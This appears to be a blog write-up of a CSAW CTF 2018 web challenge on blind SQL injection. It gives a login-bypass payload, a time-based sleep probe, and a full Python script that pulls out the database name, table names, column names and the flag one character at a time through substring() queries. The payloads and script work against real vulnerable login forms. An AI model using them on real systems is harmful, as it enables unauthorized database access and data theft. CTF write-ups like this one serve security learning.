Just by looking at BLINDasabat and the question text, it’s pretty obvious that this challenge is based on Blind SQL Injection.

We are presented by a login form on opening the link provided.

So as to continue, we need to find out the response of correct queries vs that of incorrect queries. On simply trying admin as the username and ' or ''=' as the password, we are redirected to new page, which says we are logged in.

So we have found how a correct query will respond. Now on entering some random credentials (hoping they aren’t actually right), the website says, Incorrect username or password

Incorrect Username and Password Image

Now that we have both the valid and invalid responses, just to be sure, I tried a Time Based Boolean Query: -1' or sleep(5) -- . It worked! The webpage loaded only after about 5 seconds. Now I got to scripting!

First I had to set up the request session (set all the cookies in a normal session).

import requests
import string
letters = string.ascii_lowercase + string.ascii_uppercase + "1234567890{}_?,"
URL = "http://web.chal.csaw.io:10101/auth/login"
cookie = {
 "CSAW-CTF-2018-QUALS-SSO":"xxxxxxxx",
 "CSAW-CTF-2018-QUALS-SSO.sig":"xxxx"
}
counter = 0          # Keeps a track of the letters tried.
letter_counter = 1   # Keeps a track of which index is being leaked
final = ""           # Holds the final string retrieved

I defined all possible letters that can be possibly there in the fields that I was about to leak.

Now, I defined two nested while True loops (infinite loops). The first one being when one letter of the field has been found. The inner one iterating over all possible letters, that I had defined above.

For validation, I used Whoa as a correct response validator (as it was a string in the page we were redirected to on a successful login attempt), and Incorrect as the incorrect response validator.

while True:
 while True:
  if counter > len(letters):
   break
  current = letters[counter]
  data = {
   "username": "-1' or substring(database()," + str(letter_counter) + ",1)=\"" + current + "\" -- ",
   "password": "lol",
  }
  req = requests.post(URL, cookies=cookie, data=data)
  if "Incorrect" in req.text:
   counter += 1
  elif "Whoa" in req.text:
   final += current
   letter_counter += 1
   counter = 0
   break
 print(final)

I could have used threading to make the process way faster, but yeah you guessed it, I was lazy to. With a cup of coffee in my hand, and netflix on my screen, waiting wasn’t an issue!

Nice! we got the DB name!

Now I updated the field post request to retrieve all the tables in the DB look_here

So the payload looked like:

data = {
   "username": "-1' or substring((select group_concat(table_name) from information_schema.tables where table_schema=\"look_here\")," + str(letter_counter) + ",1)=\"" + current + "\" -- ",
   "password": "lol",
  }

To break down the query a little bit, I used the substring function (which returns a part of the specified string), with the string being the response of the SQL Query that returns the tables in the database look_here. I iterate over each of the string indexes to find out which letter gives the valid response (Woah).

Again, after some considerable amount of time, I got the tables inside the DB.

Table look_in_here must be pointing to the right direction, so I enumerated that table further by changing the payload to extract the columns in that table.

The updated payload looked like:

data = {
   "username": "-1' or substring((select group_concat(column_name) from information_schema.columns where table_name=\"look_in_here\")," + str(letter_counter) + ",1)=\"" + current + "\" -- ",
   "password": "lol",
  }

Pretty much the same as the query used for extracting the table names. Here’s what I got:

Now that I have the column too, I just had to extract the values from the table look_in_here under the column flag.

The updated payload:

data = {
   "username": "-1' or substring((select binary group_concat(flag) from look_in_here)," + str(letter_counter) + ",1)=\"" + current + "\" -- ",
   "password": "lol",
  }

This is where I wasted most of my time. On running the script for the first time, I got the flag. But it wasn’t being accepted. I couldn’t figure out what’s wrong. Like 30 minutes later, it struck me, I haven’t used binary in my queries. So even if the letter in the flag was uppercase, it would return true even if sent a lowercase character (and vice versa). After adding binary to the query, I was presented with the flag: flag{nOW_W45N7_7h47_547I5fyiN9?} !

What's your reaction?

Excited
0
Happy
0
In Love
0
Not Sure
0
Silly
0

You may also like

Leave a reply

Your email address will not be published.